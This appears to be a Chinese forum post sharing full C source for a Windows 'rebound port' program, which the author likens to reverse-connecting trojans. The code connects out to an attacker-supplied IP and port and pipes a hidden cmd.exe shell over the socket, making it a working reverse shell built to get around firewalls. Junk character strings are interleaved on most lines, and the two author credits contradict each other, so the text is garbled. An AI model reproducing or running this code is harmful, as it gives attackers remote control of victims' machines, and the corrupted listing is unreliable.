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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =H8 xSJLh  
l/y]nw  
/* ============================== gq"k<C0  
Rebound port in Windows NT h7X_S4p/Mg  
By wind,2006/7 1ZJQs6  
===============================*/ N 4K8 u'f^  
#include XCsiEKZ_i  
#include IkzTJ%>  
OquAql:   
#pragma comment(lib,"wsock32.lib") 3K@@D B6  
O9(r{Vu7u  
void OutputShell(); `Y40w#?uW  
SOCKET sClient; 0)m8)!gj  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zciCcrJ  
.bD_R7Bi6  
void main(int argc,char **argv) -S%x wJKM  
{ +fKtG]$  
WSADATA stWsaData; '<iK*[NW  
int nRet; q EUT90  
SOCKADDR_IN stSaiClient,stSaiServer; ._z 'g_c(  
P%Ay3cR+E  
if(argc != 3) i77GE  
{ YYg)  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~Cc.cce5  
return; T88Y qI  
} QIB>rQCceo  
pWE`x|J  
WSAStartup(MAKEWORD(2,2),&stWsaData); 6O2=Ns;J6  
6 fz}  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q 6C-4ja  
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stSaiClient.sin_family = AF_INET; XA_FOw!cX  
stSaiClient.sin_port = htons(0); +~nzii3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~n!!jM:N  
M!M!Ni  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) = \ , qP  
{ f DgD@YCD  
printf("Bind Socket Failed!\n"); %m{U& -(l@  
return; <uP^-bv;(  
} 5wC* ?>/  
]>i~6!@  
stSaiServer.sin_family = AF_INET; lo&#(L+2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W&"|}Pi/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $mA5@O~C5\  
$\a5&1rl  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T:asm1BC[  
{ MVv1.6c7Y  
printf("Connect Error!"); {}>n{_  
return; Aw!gSf)  
} ^] p  
OutputShell(); 7yI @"c#O  
} ps:f=6m2  
*B)yy[8j+  
void OutputShell() ;P?q2jI  
{ tZWrz e^  
char szBuff[1024]; M] V.!z9B  
SECURITY_ATTRIBUTES stSecurityAttributes; {Z{o"56f  
OSVERSIONINFO stOsversionInfo; zGcqzYbuA  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (3,.3)%`  
STARTUPINFO stStartupInfo; > ^[z3T  
char *szShell; |-2}j2'  
PROCESS_INFORMATION stProcessInformation; IF k  
unsigned long lBytesRead; t@bt6J .{  
`BZ&~vJ_  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |I[7,`C~  
}UyQ#U  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3mt%!}S  
stSecurityAttributes.lpSecurityDescriptor = 0; 6er(%4!  
stSecurityAttributes.bInheritHandle = TRUE; )E7 FA|  
T9y;OG  
zjX7C~h^Q  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^ DAa%u  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~KIDv;HSb[  
jkrx]`A{~  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {GqXP0'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zz$q5[n  
stStartupInfo.wShowWindow = SW_HIDE; &;q<M_<  
stStartupInfo.hStdInput = hReadPipe; NSLVD[yT  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; iT )WR90  
GSVdb/+  
GetVersionEx(&stOsversionInfo); `QP ~  
Z&yaSB  
switch(stOsversionInfo.dwPlatformId) =F%RLpNU4  
{ 2O""4_G  
case 1: M7y|EB))  
szShell = "command.com"; )xl6,bq3  
break; f!GHEhQ9  
default: F#q&(  
szShell = "cmd.exe"; Db03Nk>#  
break; \ a-CN>  
} Fq,N  
ddpl Pzm#  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f$xhb3Qn  
]gd/}m)1  
send(sClient,szMsg,77,0); @] .VQ<X|0  
while(1) Q2'eQ0W{ o  
{ M StX*Zw  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E)'8U  
if(lBytesRead) L-'k7?%(  
{ qJs[i>P[W  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); MR9/Y:Nm  
send(sClient,szBuff,lBytesRead,0); x6yW:tUG5  
} , r+"7$  
else Z(!pYhLq  
{ s^C;>  
lBytesRead=recv(sClient,szBuff,1024,0); c]m! G'L_/  
if(lBytesRead<=0) break; [Z }B"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); T[Q"}&bB  
} Gi$gtLtN h  
}  Q9y*:  
wa3F  
return; t3F?>G#y  
}
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